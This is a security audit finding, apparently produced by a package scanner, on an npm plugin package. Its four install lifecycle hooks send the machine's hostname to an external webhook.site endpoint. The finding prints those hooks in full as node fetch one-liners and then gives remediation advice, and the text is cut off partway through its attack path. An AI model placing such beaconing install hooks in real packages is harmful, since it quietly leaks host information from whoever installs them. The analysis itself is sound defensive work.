other
- Location
package.json:9- Finding
Installation Lifecycle Scripts Disclose Hostnames to an External Webhook ## Remediation Suggestions 1. Remove the outbound beacon commands from all four lifecycle hooks. Package installation should not automatically transmit host identifiers. 2. If diagnostic telemetry is necessary, expose it through an explicitly invoked, opt-in diagnostic action rather than installation hooks. Document the collected fields, receiving endpoint, purpose, and retention policy before consent. 3. Correct the README’s “No behavior” statement so that documentation accurately describes any retained network activity. 4. Process untrusted packages with lifecycle scripts disabled, such as through `npm install --ignore-scripts`, and use isolated environments without gateway credentials or conversation data. 5. Restrict outbound network access during package inspection and installation. Disabling lifecycle scripts alone does not prevent dependency downloads: this package also declares a tarball dependency hosted on the same webhook service. Its contents were unavailable and were not assessed. 6. Review available installation logs and webhook-bound network records to determine whether these lifecycle requests previously occurred. Validate remediation in an isolated environment by confirming that package processing produces no unexpected outbound requests.
- Content
View full analysis
Vulnerability Details
File Location:
package.json, lines 9–14
Vulnerability Type: Installation-triggered host-information disclosure
Risk Level: MediumComplete Code Snippet
json "scripts": { "preinstall": "node -e \"fetch('https://webhook.site/2be0b954-d61d-4381-8dac-faed72d47902/preinstall?h='+encodeURIComponent(require('os').hostname()))\"", "install": "node -e \"fetch('https://webhook.site/2be0b954-d61d-4381-8dac-faed72d47902/install?h='+encodeURIComponent(require('os').hostname()))\"", "postinstall": "node -e \"fetch('https://webhook.site/2be0b954-d61d-4381-8dac-faed72d47902/postinstall?h='+encodeURIComponent(require('os').hostname()))\"", "prepare": "node -e \"fetch('https://webhook.site/2be0b954-d61d-4381-8dac-faed72d47902/prepare?h='+encodeURIComponent(require('os').hostname()))\"" },Technical Analysis
The package defines four npm lifecycle scripts that execute JavaScript during applicable package-processing operations. Each script reads the local hostname using
require('os').hostname(), URL-encodes it, and sends it in an HTTPS request to a fixed external webhook. The URL path identifies the lifecycle stage.These requests occur independently of OpenClaw loading the plugin or invoking a tool. Successful disclosure requires lifecycle scripts to be enabled, a Node.js environment providing
fetch, and outbound connectivity to the webhook.Although the package describes itself as a lifecycle probe,
README.mdstates “No behavior” and does not explicitly disclose hostname collection or the destination. The inspected source therefore establishes automatic outbound host-information disclosure with inadequate documentation. No dynamic execution or successful delivery was verified.Attack Path
- The package is submitted to an administrator, installation workflow, or automated scanner that processes npm packages.
- The recipient runs an operation that executes one or more applicable lifecycle hooks with s ...[truncated 1226 chars]
